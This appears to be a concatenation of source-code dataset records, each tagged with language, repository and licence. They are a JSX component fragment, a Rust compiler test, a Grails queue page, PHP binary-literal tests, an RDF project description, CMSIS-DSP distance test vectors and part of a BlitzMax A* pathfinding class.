header = this._renderHeaderInCard()
}
return (
<div style={this._sProposalTimeList()}>
{header}
<div style={this._sProposalsWrap()}>
{this._renderProposalTable()}
</div>
</div>
)
}
}
| JSX | 5 | cnheider/nylas-mail | packages/client-app/internal_packages/composer-scheduler/lib/composer/proposed-time-list.jsx | [
"MIT"
] |
trait DynEq {}
impl<'a> PartialEq for &'a (dyn DynEq + 'static) {
fn eq(&self, _other: &Self) -> bool {
true
}
}
impl Eq for &dyn DynEq {} //~ ERROR E0308
fn main() {
}
| Rust | 3 | Eric-Arellano/rust | src/test/ui/error-codes/E0308-2.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
<%--
Copyright 2012 Netflix, Inc.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
--%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<meta name="layout" content="main"/>
<title>${queue.name} Queue</title>
</head>
<body>
<div class="body">
<h1>Queue Details</h1>
<g:if test="${flash.message}">
<div class="message">${flash.message}</div>
</g:if>
<div class="buttons">
<g:form action="delete">
<input type="hidden" name="id" value="${queue.name}"/>
<g:link class="edit" action="edit" params="[id:queue.name]">Edit Queue</g:link>
<g:buttonSubmit class="delete" action="delete" value="Delete Queue"
data-warning="Really delete Queue '${queue.name}'?" />
</g:form>
</div>
<div>
<table>
<tbody>
<tr class="prop">
<td class="name">Queue Name:</td>
<td class="value">${queue.name}</td>
</tr>
<tr class="prop">
<td class="name">Queue URL:</td>
<td class="value">${queue.url}</td>
</tr>
<g:each var="attribute" in="${queue.humanReadableAttributes}">
<tr class="prop">
<td class="name">${attribute.key}:</td>
<td class="value"><g:render template="/common/jsonValue" model="['jsonValue': attribute.value]"/></td>
</tr>
</g:each>
</tbody>
</table>
</div>
</div>
</body>
</html>
| Groovy Server Pages | 4 | claymccoy/asgard | grails-app/views/queue/show.gsp | [
"Apache-2.0"
] |
{
parser: "json5",
} | JSON5 | 0 | lenkan/node-config | test/16-config/default.json5 | [
"MIT"
] |
--TEST--
Binary integer strings (64bit)
--SKIPIF--
<?php
if (PHP_INT_SIZE != 8) die("skip this test is for 64bit platform only");
?>
--FILE--
<?php
/* Using binary prefix notation lowercase */
/* Maximum value representable as integer */
$binary = 0b111111111111111111111111111111111111111111111111111111111111111;
var_dump($binary);
var_dump(PHP_INT_MAX);
/* Floating number */
$binary = 0b111111010000101010101010101010111111111111111111111111111111111111111111111111111111;
var_dump($binary);
/* Integer */
$binary = 0b1010110;
var_dump($binary);
/* underscore separator */
$binary = 0b1_010110;
var_dump($binary);
/* Ignore leading 0 and _ */
$binary = 0b0_01010110;
var_dump($binary);
$binary = 0b0_1010110;
var_dump($binary);
/* Overflow to infinity */
$binary = 0b111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111;
var_dump($binary);
/* Using binary prefix notation uppercase */
/* Maximum value representable as integer */
$binary = 0B111111111111111111111111111111111111111111111111111111111111111;
var_dump($binary);
var_dump(PHP_INT_MAX);
/* Floating number */
$binary = 0B111111010000101010101010101010111111111111111111111111111111111111111111111111111111;
var_dump($binary);
/* Integer */
$binary = 0B1010110;
var_dump($binary);
/* underscore separator */
$binary = 0B1_010110;
var_dump($binary);
/* Ignore leading 0 and _ */
$binary = 0B0_01010110;
var_dump($binary);
$binary = 0B0_1010110;
var_dump($binary);
/* Overflow to infinity */
$binary = 0B111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111;
var_dump($binary);
?>
--EXPECT--
int(9223372036854775807)
int(9223372036854775807)
float(1.9119287772983036E+25)
int(86)
int(86)
int(86)
int(86)
float(INF)
int(9223372036854775807)
int(9223372036854775807)
float(1.9119287772983036E+25)
int(86)
int(86)
int(86)
int(86)
float(INF)
| PHP | 5 | NathanFreeman/php-src | tests/lang/integer_literals/binary_64bit.phpt | [
"PHP-3.01"
] |
@prefix rdf: <http://www.w3.org/1999/02/22-rdf-syntax-ns#> .
@prefix rdfs: <http://www.w3.org/2000/01/rdf-schema#> .
@prefix : <http://usefulinc.com/ns/doap#> .
@prefix foaf: <http://xmlns.com/foaf/0.1/> .
<http://drobilla.net/software/lilv>
a :Project ;
:bug-database <http://dev.drobilla.net/query?status=new&status=assigned&status=reopened&component=LILV&order=priority> ;
:developer [
a foaf:Person ;
rdfs:seeAlso <http://drobilla.net/drobilla.rdf> ;
foaf:homepage <http://drobilla.net> ;
foaf:mbox_sha1sum "253b3c58086250260bac1232d744d150274ad308" ;
foaf:name "David Robillard"
] ;
:download-page <http://download.drobilla.net> ;
:homepage <http://drobilla.net/software/lilv> ;
:license <http://usefulinc.com/doap/licenses/gpl> ;
:name "LILV" ;
:programming-language "C", "Turtle" ;
:repository [
:browse <http://dev.drobilla.net/browser/trunk/lilv> ;
:location <http://svn.drobilla.net/lad/trunk/lilv> ;
a :SVNRepository
] ;
:shortdesc "Library for simple use of LV2 plugins" ;
:shortname "LILV" .
| Turtle | 3 | joshrose/audacity | lib-src/lv2/lilv/lilv.ttl | [
"CC-BY-3.0"
] |
static const uint16_t in_com1[350] = {
0x34f0, 0x3d2e, 0x3a9b, 0xbdc0, 0x345d, 0x395d, 0x3e3f, 0x3604,
0x3545, 0xbc10, 0x3cdc, 0xbb8e, 0x3016, 0x38f8, 0x3cc5, 0x37ce,
0xb4f5, 0xbd88, 0x3286, 0x3b2f, 0xbf6a, 0xb836, 0xba20, 0x3c62,
0x379e, 0x3ce9, 0xbebf, 0xbb5e, 0xb9b1, 0x38d4, 0xb1db, 0xbc70,
0xb28c, 0xbff3, 0x3d1d, 0x4181, 0xb5db, 0xa91d, 0xb186, 0x3845,
0xb554, 0xb443, 0x3ceb, 0x3683, 0xaba0, 0xb84e, 0x34a2, 0xae28,
0x3905, 0x1f60, 0x252c, 0x389d, 0xb5b3, 0x3b12, 0x3c71, 0xb7eb,
0x2c09, 0x3415, 0xbb6f, 0x35f9, 0x36ee, 0xba92, 0x43e7, 0xad74,
0xbace, 0x403e, 0x4072, 0x3529, 0x2f4e, 0xbaf5, 0x3740, 0xb9f6,
0x3b15, 0x3d2e, 0xb852, 0xb811, 0xbd20, 0x3e73, 0x3483, 0x3d52,
0x3e3d, 0x37a8, 0x3f10, 0xb81d, 0xba4b, 0xb429, 0xb89d, 0xb476,
0xbafd, 0x3fad, 0xad75, 0xb043, 0xb8b5, 0xb855, 0x3355, 0xbc98,
0xa8bc, 0xbcf3, 0xbf49, 0x389f, 0x3f89, 0xba8b, 0xbc1f, 0xb649,
0x3b50, 0xba14, 0xb8b5, 0x3cd6, 0x30b9, 0xb83a, 0x3810, 0xbd00,
0x359e, 0x3b32, 0xb0ee, 0xba0f, 0xbdf3, 0x364b, 0x3676, 0x3d8f,
0x3ee4, 0x3e14, 0xb431, 0xa245, 0x3385, 0x3713, 0x2a9e, 0x36f4,
0x3c32, 0x351b, 0x36e5, 0x3139, 0xaa90, 0x3b5d, 0x346d, 0x352c,
0x3b4e, 0x3909, 0xb9d2, 0xc087, 0xb1c8, 0xaee1, 0x3ddd, 0xb88a,
0xbe9a, 0xc04c, 0xac1e, 0xb2e0, 0x3f20, 0x36c9, 0xc00e, 0x290a,
0xb97b, 0x36f6, 0xbd06, 0xb729, 0xba75, 0x30b3, 0x35c2, 0x3b41,
0xc10b, 0x4102, 0xbb5b, 0x3f55, 0x368e, 0x3cff, 0x2890, 0xb9e9,
0xb6a6, 0x2a11, 0xa631, 0x3c70, 0xb481, 0xb9e7, 0xb808, 0xb921,
0x3e40, 0x3ee3, 0x3c09, 0x3059, 0x3814, 0xb8f6, 0x3709, 0x303e,
0xbaf9, 0x3edc, 0xb487, 0xb512, 0x3bcd, 0xaa60, 0xbd2f, 0x3685,
0xb185, 0xacc9, 0xbed2, 0x3ed3, 0xba7f, 0x400c, 0xbc81, 0xb95b,
0x2c02, 0x34e8, 0x3884, 0xb98e, 0x3d7c, 0x39e8, 0x400d, 0xb3e6,
0xbcc9, 0x386f, 0x39cd, 0xb925, 0x3cc1, 0xbd71, 0x3808, 0xb979,
0xbbf5, 0xb80c, 0xb283, 0xb7a4, 0xb678, 0xb23f, 0xaa00, 0xb9e2,
0x3c6c, 0xb14e, 0x2c37, 0x3852, 0xba99, 0x2ffb, 0x99ee, 0xbc1a,
0x3af2, 0x3c2b, 0x3a34, 0x2a3e, 0x3b38, 0x3e6e, 0xbc7c, 0xbdbb,
0x3643, 0xbe97, 0xa877, 0xad3a, 0x36b1, 0x3905, 0x3b9b, 0xbf47,
0x3ed1, 0x38a6, 0x291c, 0x27c9, 0x3886, 0xb620, 0xb788, 0xbdcb,
0xbd8c, 0xba52, 0xbe13, 0xafe4, 0xb9db, 0x3302, 0x3be0, 0x362a,
0xae5a, 0xbe65, 0xbd5e, 0xb814, 0xac0c, 0xbe1f, 0x3ae6, 0x35fc,
0x3d0c, 0x32ac, 0x2950, 0xb59e, 0xb99f, 0xbc13, 0x30e6, 0x3ca2,
0xb3d9, 0x3cf8, 0x3a6a, 0xc107, 0x4010, 0x3d0a, 0x438c, 0xb696,
0x3baf, 0xb83a, 0x3c37, 0xb5ba, 0xb6c3, 0x367d, 0xbb73, 0x3db1,
0xb4c4, 0x3cb8, 0x34a1, 0xa7e0, 0x3970, 0xb551, 0x3d84, 0xb01c,
0xbe2a, 0x3c81, 0xb347, 0xb845, 0xb27d, 0x3838, 0x3eea, 0x3c8c,
0xc07c, 0x3a83, 0x338d, 0xb692, 0xb765, 0x4003, 0x395e, 0xb534,
0xb98d, 0xb8e3, 0x2560, 0x3731, 0x3676, 0x2c7d, 0xb85d, 0x3da9,
0x3d1e, 0x3d7d, 0x3cb3, 0xbd8d, 0x4062, 0xbde9, 0x3c0e, 0xb448,
0x3ece, 0xb253, 0x3790, 0x3489, 0x31d0, 0xb56a, 0x39eb, 0xba85,
0xb4e8, 0xbd15, 0xb609, 0xb92b, 0x36b1, 0xbed5
};
static const uint16_t in_com2[350] = {
0xbced, 0xbcc3, 0xb66e, 0x3784, 0x403b, 0x3edb, 0x3da3, 0xc1a6,
0xbd69, 0xb693, 0xb63d, 0xaf1e, 0xbc67, 0xbbb7, 0xbe57, 0xbc30,
0xbbc4, 0x3e21, 0x3469, 0x3de9, 0x3255, 0xbbf9, 0xba5b, 0xb7a9,
0x3b27, 0xb9bd, 0xc2a6, 0x3743, 0x3d58, 0xb84d, 0x302b, 0x3ab0,
0x3e35, 0x372d, 0x3266, 0xac8c, 0x347a, 0x38c5, 0xb88d, 0xb405,
0xb5b4, 0x3b7c, 0x3d2c, 0xb96a, 0xbb6a, 0xa6e1, 0xb9e7, 0x2924,
0xc088, 0x2f43, 0xb869, 0x3965, 0x365b, 0xbe06, 0x3ed3, 0xc052,
0xb800, 0xba4e, 0xc027, 0x3e49, 0xb9ce, 0xb52f, 0x2cb7, 0x2f15,
0x3faa, 0x3960, 0x3dde, 0xb4f5, 0x3687, 0xbf56, 0xba6d, 0xbbfd,
0x38c8, 0x2a30, 0x391b, 0x2fe2, 0x2985, 0x36aa, 0xba04, 0xbd9d,
0xc092, 0xb9c3, 0x3dde, 0x34c8, 0x3c58, 0xb1fb, 0x38b1, 0x3cd8,
0x3cb6, 0x3e64, 0x3728, 0x3fb3, 0xb3c8, 0xb787, 0x3c5b, 0xb8ab,
0x2e6d, 0x3bf5, 0x355c, 0x269b, 0xb808, 0xbfc2, 0x3f1e, 0x2e24,
0x2d50, 0xb47c, 0x3cdc, 0xbbda, 0x3f4f, 0x3462, 0xbdd0, 0x2e9e,
0x3c3f, 0x38c1, 0x3cba, 0xbbcc, 0xb55b, 0x31b2, 0x370f, 0x4008,
0x3593, 0xb979, 0x3816, 0xb70f, 0xc078, 0xb4cc, 0xb4e3, 0x38a9,
0x32dc, 0x39b0, 0x30db, 0x3cce, 0xbabf, 0xb3e4, 0xbcb6, 0x3e27,
0xb34b, 0xb5ee, 0x3d32, 0xb372, 0xb284, 0x395a, 0xacd1, 0x3cd8,
0xb7c6, 0xbd35, 0x3c7e, 0x3b9f, 0x3794, 0xb472, 0xbf68, 0x3b61,
0x3b44, 0xb30c, 0x35b3, 0xb305, 0x3669, 0x3c32, 0xc059, 0x3936,
0xba7d, 0xaf79, 0xb45b, 0xb0a3, 0x39dc, 0xa835, 0xc016, 0xb946,
0x3b6f, 0x3c93, 0x2fba, 0xbcf5, 0xa92c, 0x36be, 0x3978, 0xba41,
0xc064, 0x36ee, 0x39de, 0xbd84, 0x3dbd, 0x38ee, 0x329f, 0xb816,
0x3c1d, 0x38f6, 0xbd58, 0xb76c, 0x9ad5, 0xbffd, 0xb97a, 0xaeb6,
0xb9eb, 0xbdab, 0xb7d1, 0x369d, 0x3d45, 0x320b, 0x3c12, 0x395f,
0xbb9b, 0xb4b7, 0x3e87, 0x3c55, 0x33f6, 0xbd4a, 0xb3eb, 0x30c9,
0x3090, 0xb82c, 0xb33b, 0xb719, 0x345f, 0x333e, 0xb5ac, 0xb9a1,
0x3841, 0xb7a3, 0xb1ee, 0xb722, 0x3e71, 0x3eb2, 0x37a5, 0x3ae2,
0xb958, 0xb911, 0xb7f5, 0xbeb8, 0x2b85, 0x2d9a, 0xc0a0, 0xb848,
0xa0e0, 0x3d08, 0xbc56, 0x36df, 0x3d0e, 0x3c87, 0x3a27, 0x3fd5,
0x3b53, 0x3cb8, 0xbd52, 0x3ca3, 0xb92e, 0x2c47, 0x3f28, 0xaa2a,
0xb7d8, 0x24f2, 0x3855, 0xba53, 0x2f7c, 0x347a, 0x3e88, 0xb748,
0xb30b, 0x34cd, 0x3e61, 0xbc1a, 0x3273, 0xb7ef, 0xbd6d, 0x3848,
0xbccf, 0x3e40, 0xb5b4, 0xb6a0, 0xb7fd, 0x3d93, 0xbc72, 0xb1d2,
0xb07b, 0x3272, 0x400c, 0x3074, 0xbfed, 0x3db0, 0xb5be, 0x3a83,
0x36e9, 0x3f89, 0x39fa, 0xbda3, 0x3798, 0x3c5e, 0xbea7, 0x32d6,
0x367d, 0x3905, 0x3a11, 0xb5cb, 0xb9f8, 0x300a, 0xbcb5, 0xb26e,
0x3c98, 0xbd7a, 0xb04f, 0x3927, 0xbeba, 0xbaea, 0x3aa9, 0x3a5a,
0xbacf, 0xbc25, 0xa2bf, 0x371e, 0xba21, 0x35a9, 0xc017, 0x3c99,
0x3b13, 0xbb09, 0xabbb, 0x3c8d, 0x3e6e, 0x347f, 0xbf7e, 0x3b6b,
0xb5cc, 0x38ea, 0x3802, 0x3eeb, 0x3a41, 0x4129, 0x2dac, 0xb4b9,
0xb246, 0xc200, 0xbfeb, 0x343a, 0x379f, 0x2fba, 0x3ebf, 0x3db2,
0x3c68, 0x2b83, 0x323e, 0x38eb, 0xba85, 0xbb6e, 0xb5ee, 0x37f9,
0x27b3, 0xbb22, 0xb23e, 0xbbdc, 0xb10b, 0x3ab1
};
static const uint16_t in_jen1[350] = {
0x2140, 0x2982, 0x2705, 0x2a1d, 0x20a4, 0x25b3, 0x2aa3, 0x2265,
0x219a, 0x2852, 0x292a, 0x2804, 0x1c58, 0x2548, 0x2912, 0x2426,
0x2145, 0x29e1, 0x1eef, 0x27a2, 0x2be2, 0x247a, 0x2683, 0x28a8,
0x240d, 0x2938, 0x2b2b, 0x27d4, 0x260d, 0x2522, 0x1e3a, 0x28b8,
0x1ef5, 0x2c39, 0x296f, 0x2f2b, 0x23a0, 0x16a9, 0x1f31, 0x258f,
0x22f1, 0x218d, 0x2a67, 0x243d, 0x18f7, 0x259b, 0x2209, 0x1c02,
0x268a, 0xcce, 0x12bc, 0x2602, 0x236c, 0x289a, 0x29c9, 0x2528,
0x1941, 0x2151, 0x28d7, 0x23c8, 0x2483, 0x2847, 0x3125, 0x1b19,
0x286e, 0x2d87, 0x2dcb, 0x22b8, 0x1cc2, 0x2888, 0x23e5, 0x267e,
0x27b6, 0x29a4, 0x24b5, 0x246e, 0x2995, 0x2b06, 0x20ea, 0x29cb,
0x2acb, 0x242b, 0x2bb2, 0x247b, 0x26da, 0x2088, 0x2506, 0x20db,
0x279c, 0x2c2e, 0x19f1, 0x1ca4, 0x2520, 0x24b8, 0x1ffd, 0x2901,
0x1528, 0x2964, 0x2bef, 0x2508, 0x2c1b, 0x2721, 0x287d, 0x22d8,
0x27f7, 0x2820, 0x2664, 0x2a90, 0x1e6a, 0x25bc, 0x2584, 0x2aca,
0x23a1, 0x28e2, 0x1eb1, 0x281c, 0x2c0a, 0x2445, 0x2462, 0x2b8c,
0x2cad, 0x2c20, 0x21b0, 0x1042, 0x211a, 0x24cd, 0x187e, 0x24b8,
0x29b2, 0x22ee, 0x24ae, 0x1f16, 0x1874, 0x2900, 0x2202, 0x2305,
0x28f5, 0x26d5, 0x27e7, 0x2e25, 0x1e5f, 0x1b94, 0x2a75, 0x2500,
0x2b46, 0x2cbc, 0x1889, 0x1f92, 0x2bda, 0x2379, 0x2c77, 0x158e,
0x2609, 0x23ab, 0x2989, 0x23e4, 0x271e, 0x1d2d, 0x2258, 0x27fe,
0x2d8f, 0x2d84, 0x280d, 0x2c0a, 0x2339, 0x2981, 0x1507, 0x2683,
0x2353, 0x16af, 0x12d2, 0x28e3, 0x20f7, 0x2681, 0x2471, 0x25b6,
0x2af5, 0x2bab, 0x287f, 0x1cd7, 0x248a, 0x2586, 0x23d6, 0x1cb9,
0x27c4, 0x2ba3, 0x210a, 0x21a5, 0x2858, 0x171a, 0x29c5, 0x2342,
0x1e25, 0x1954, 0x2b99, 0x2b9a, 0x273c, 0x2c82, 0x2904, 0x25f7,
0x1877, 0x2177, 0x2507, 0x2630, 0x2a1c, 0x2694, 0x2c83, 0x2066,
0x2954, 0x24f0, 0x280e, 0x2731, 0x2aa5, 0x2b9b, 0x25a3, 0x27a6,
0x2990, 0x25a9, 0x208d, 0x2557, 0x2485, 0x205e, 0x1832, 0x281c,
0x2a2f, 0x1f6a, 0x19e4, 0x260a, 0x289c, 0x1d93, 0x825, 0x29bb,
0x28db, 0x29d3, 0x2856, 0x185c, 0x290b, 0x2c7e, 0x2a45, 0x2c01,
0x2460, 0x2c9b, 0x163e, 0x1b4e, 0x24ad, 0x262b, 0x28ad, 0x2c79,
0x2c30, 0x25b7, 0x1648, 0x14c9, 0x258f, 0x2387, 0x24a1, 0x2b1f,
0x2ad2, 0x27c5, 0x2b77, 0x1cda, 0x2732, 0x204e, 0x28d7, 0x2393,
0x1bcf, 0x2bdc, 0x2a99, 0x2503, 0x18fa, 0x2b86, 0x283d, 0x235c,
0x2a34, 0x201a, 0x1687, 0x22e7, 0x26e9, 0x2902, 0x1e05, 0x29b2,
0x1f9d, 0x28d2, 0x2638, 0x2ce0, 0x2be2, 0x28e3, 0x2f52, 0x2263,
0x2774, 0x2419, 0x2817, 0x218e, 0x228f, 0x224b, 0x2739, 0x2985,
0x209f, 0x2893, 0x207d, 0x13a3, 0x2546, 0x2128, 0x2959, 0x1bf8,
0x29fa, 0x285f, 0x1f0f, 0x2424, 0x1e4b, 0x2417, 0x2ab5, 0x2869,
0x2c5a, 0x2650, 0x1f52, 0x2397, 0x2445, 0x2ca2, 0x2633, 0x2202,
0x266a, 0x25a5, 0x1235, 0x2427, 0x2376, 0x192f, 0x250b, 0x2a89,
0x29ea, 0x2a56, 0x296d, 0x2a69, 0x2d10, 0x2ad4, 0x28af, 0x20f2,
0x2bdc, 0x1f4e, 0x245e, 0x213d, 0x1eb7, 0x2241, 0x26d6, 0x2787,
0x21aa, 0x29df, 0x22f9, 0x25f8, 0x23bb, 0x2be4
};
static const uint16_t in_jen2[350] = {
0x2872, 0x284c, 0x21cd, 0x22c8, 0x2ba2, 0x2a2f, 0x2916, 0x2d19,
0x28e1, 0x21ef, 0x21a1, 0x1a6c, 0x27f1, 0x26f6, 0x29b8, 0x278e,
0x2702, 0x2987, 0x1ff6, 0x2955, 0x1db7, 0x2731, 0x25bc, 0x22e9,
0x2674, 0x252e, 0x2e00, 0x228d, 0x28d2, 0x23c3, 0x1b85, 0x2608,
0x299a, 0x2279, 0x1dc6, 0x1908, 0x20f5, 0x2548, 0x250a, 0x2073,
0x2250, 0x2824, 0x29ba, 0x25fe, 0x281a, 0x139e, 0x2689, 0x15b1,
0x2d04, 0x1c05, 0x24e2, 0x25f9, 0x2309, 0x2aab, 0x2b8e, 0x2cc8,
0x246d, 0x26fa, 0x2c98, 0x2af6, 0x266d, 0x21bd, 0x1938, 0x1bd7,
0x2c3e, 0x25f3, 0x2a7f, 0x217d, 0x233a, 0x2c10, 0x279a, 0x28b9,
0x25a8, 0x1751, 0x260a, 0x1caa, 0x1687, 0x23e2, 0x271e, 0x2aa3,
0x2d68, 0x26d1, 0x2af1, 0x21a8, 0x2923, 0x1f13, 0x258d, 0x29ba,
0x2993, 0x2b8f, 0x243c, 0x2c8e, 0x209a, 0x2473, 0x2927, 0x2585,
0x1b99, 0x28b5, 0x2256, 0x13d0, 0x24c5, 0x2c96, 0x2c35, 0x1b43,
0x1a49, 0x2169, 0x29dc, 0x28bc, 0x2c68, 0x2149, 0x2b03, 0x1bfb,
0x291f, 0x25bc, 0x29b4, 0x28b4, 0x2275, 0x1edf, 0x2442, 0x2cdc,
0x22b9, 0x2699, 0x24ed, 0x2442, 0x2d64, 0x21c8, 0x21e5, 0x259e,
0x2022, 0x26dc, 0x1ddb, 0x29cb, 0x2812, 0x20c2, 0x29ae, 0x2b6b,
0x2065, 0x2327, 0x2a44, 0x207d, 0x202f, 0x26df, 0x1a30, 0x2a38,
0x24fe, 0x2ab0, 0x29c6, 0x28e4, 0x24de, 0x21b5, 0x2cc2, 0x28bd,
0x28aa, 0x2086, 0x2352, 0x2082, 0x241e, 0x2964, 0x2d96, 0x26b1,
0x282a, 0x1ccc, 0x2198, 0x1df5, 0x2787, 0x1567, 0x2d40, 0x26c5,
0x28c6, 0x29e0, 0x1cf6, 0x2a5e, 0x16a4, 0x2454, 0x2705, 0x274f,
0x2d22, 0x240d, 0x26dc, 0x2a73, 0x2ab5, 0x25c3, 0x1fbd, 0x24c7,
0x28ce, 0x25cd, 0x2a3f, 0x2457, 0x7fc, 0x2cab, 0x2667, 0x1bd9,
0x26eb, 0x2aa0, 0x2491, 0x23ba, 0x2a29, 0x1f10, 0x28c2, 0x2647,
0x2872, 0x2183, 0x2ba2, 0x2910, 0x20a7, 0x2a2f, 0x20a1, 0x1d98,
0x1d55, 0x24e1, 0x201e, 0x240b, 0x20fb, 0x2020, 0x2276, 0x2669,
0x24d8, 0x2459, 0x1ec1, 0x2410, 0x2b56, 0x2ba0, 0x245b, 0x27d6,
0x2616, 0x25c6, 0x2488, 0x2ba7, 0x1848, 0x1a61, 0x2d44, 0x24e0,
0xd8e, 0x29bb, 0x28f0, 0x23d3, 0x29c2, 0x2928, 0x2702, 0x2c76,
0x282c, 0x2960, 0x2a0f, 0x2948, 0x25e6, 0x1950, 0x2c72, 0x17a8,
0x24df, 0x1225, 0x2561, 0x27db, 0x1ca6, 0x2190, 0x2c0f, 0x2486,
0x2060, 0x21f7, 0x2bed, 0x2918, 0x2002, 0x24ee, 0x2abd, 0x2552,
0x29f9, 0x2bc4, 0x2316, 0x241d, 0x24f6, 0x2aed, 0x2986, 0x1f3b,
0x1d90, 0x2001, 0x2d06, 0x1d88, 0x2ced, 0x2b11, 0x2322, 0x280b,
0x23d2, 0x2c44, 0x26c4, 0x2a62, 0x244c, 0x28f1, 0x2b88, 0x1fbd,
0x2358, 0x25af, 0x26dd, 0x228f, 0x26c2, 0x1c92, 0x2954, 0x1f47,
0x2934, 0x2a33, 0x1ce0, 0x25d4, 0x2b9d, 0x27d3, 0x278a, 0x2730,
0x27b4, 0x28b1, 0xfa2, 0x2407, 0x26f0, 0x2268, 0x2ca1, 0x2935,
0x2801, 0x27f6, 0x1860, 0x28ec, 0x2af4, 0x20dc, 0x2c0d, 0x2803,
0x2245, 0x2550, 0x2455, 0x2b7a, 0x26c2, 0x2d94, 0x1a22, 0x211b,
0x1ec8, 0x2e7c, 0x2c48, 0x2092, 0x241e, 0x1c2d, 0x2b4b, 0x2a28,
0x28c4, 0x180f, 0x1ec0, 0x2551, 0x270c, 0x2804, 0x2269, 0x244f,
0x1429, 0x27b6, 0x1ebf, 0x2840, 0x1d74, 0x273b
};
static const uint16_t in_dims[2] = {
0x000A, 0x0023
};
static const uint16_t in_dims_minkowski[12] = {
0x000A, 0x0023, 0x0003, 0x0003, 0x0002, 0x0002, 0x0004, 0x0002,
0x0003, 0x0002, 0x0004, 0x0003
};
static const uint16_t ref_braycurtis[10] = {
0x3cc8, 0x3ac1, 0x3cc4, 0x3bb5, 0x3b71, 0x3c72, 0x3c72, 0x3d36,
0x3b71, 0x3c54
};
static const uint16_t ref_canberra[10] = {
0x4ec5, 0x4e8e, 0x4eb5, 0x4e71, 0x4eae, 0x4ebd, 0x4e26, 0x4eea,
0x4d97, 0x4eb9
};
static const uint16_t ref_chebyshev[10] = {
0x4267, 0x43c1, 0x43b0, 0x40f0, 0x413e, 0x4384, 0x42c8, 0x4253,
0x4570, 0x445f
};
static const uint16_t ref_cityblock[10] = {
0x5236, 0x507a, 0x512d, 0x5098, 0x50d9, 0x515b, 0x50a9, 0x5132,
0x50bc, 0x517b
};
static const uint16_t ref_correlation[10] = {
0x3c35, 0x39f7, 0x3c76, 0x3bcc, 0x3ab0, 0x3c20, 0x3c9c, 0x3cd5,
0x3c21, 0x3c8a
};
static const uint16_t ref_cosine[10] = {
0x3c35, 0x3a61, 0x3c70, 0x3b98, 0x3ab5, 0x3c35, 0x3ca3, 0x3ce3,
0x3c32, 0x3c77
};
static const uint16_t ref_euclidean[10] = {
0x48d4, 0x4808, 0x4860, 0x475a, 0x47be, 0x4839, 0x4809, 0x4858,
0x48b6, 0x48a2
};
static const uint16_t ref_jensenshannon[10] = {
0x3574, 0x368f, 0x3560, 0x36a2, 0x3711, 0x368b, 0x360f, 0x365d,
0x3413, 0x3641
};
static const uint16_t ref_minkowski[10] = {
0x45d8, 0x4574, 0x4860, 0x475a, 0x43a8, 0x4839, 0x4530, 0x4858,
0x4601, 0x460a
};
| Max | 1 | psychogenic/zephyr | tests/lib/cmsis_dsp/distance/src/f16.pat | [
"Apache-2.0"
] |
' Class for walking an astar graph
' It's up to you to make the graph yourself.
Import "astar_node.bmx"
Import "priority_queue.bmx"
Import "Callback.bmx"
' Customised callback class
Type AStarCallback Extends Callback
Field node:AStarNode;
Field queue:PriorityQueue
End Type
Type AStarGraphWalker
' public
' Constructor
Method New()
_queue = New PriorityQueue
_finalPath = New TList
End Method
' public
' Sets the parameters for walking
' startNode - The first node in the graph where searching will start from
' endNode - The node you're trying to find the path to
' maxNodes - The maximum number of nodes in the graph you want to walk
Method setParameters(startNode:AStarNode, endNode:AStarNode, maxNodes:Int )
Assert startNode <> Null,"startNode Null"
Assert endNode <> Null,"endNode Null"
Assert maxNodes > 0,"maxNodes <= 0"
_start = startNode; ' The start of the graph
_end = endNode; ' The start of the graph
_queue.setMaxSize(maxNodes)
_parametersSet = True;
End Method
' public
' Sets the callback function
' callback - A object with a callback() mtehod. Derive from Callback Type
Method setCallback(callback:AStarCallback)
_callback = callback
End Method
Method setDistanceFunction(func:Int)
_distanceFunction = func
End Method
Method setHeuristicMultiplier(heuristic:Float)
_heuristicMultiplier = heuristic
End Method
' public
' Returns the final path after a path find
Method getFinalPath:TList()
Assert _lastWalkSucceeded, "Can't return path as last path walk failed"
Return _finalPath
End Method
' private
' Makes the list of successors that will be searched next
' ARGUMENTS:
' node - The node who's successors we're looking at
' endNode - The destination node we're trying to get to
Method _makeSuccessors(node:AStarNode, endNode:AStarNode)
Local done:Int = False
For neighbour:AStarNeighbourInfo = EachIn node.getNeighbours()
Local neighbourNode:AStarNode = neighbour.getNode()
Assert neighbourNode,"Node is NULL"
' Only look at neighbours that aren't the start node and also aren't in
' the closed list (We'd be backtracking)
If neighbourNode <> _start And Not neighbourNode.inClosed()
' Calculate total cost to get to this neighbour based on edge cost to neighbour +
' current cost to get to us
Local cost:Float = neighbour.edgeCost() + node.costToGetHere()
' Estimate a distance to the goal from the neighbour
Local goalDistance:Float = _distanceTo(neighbourNode, endNode)
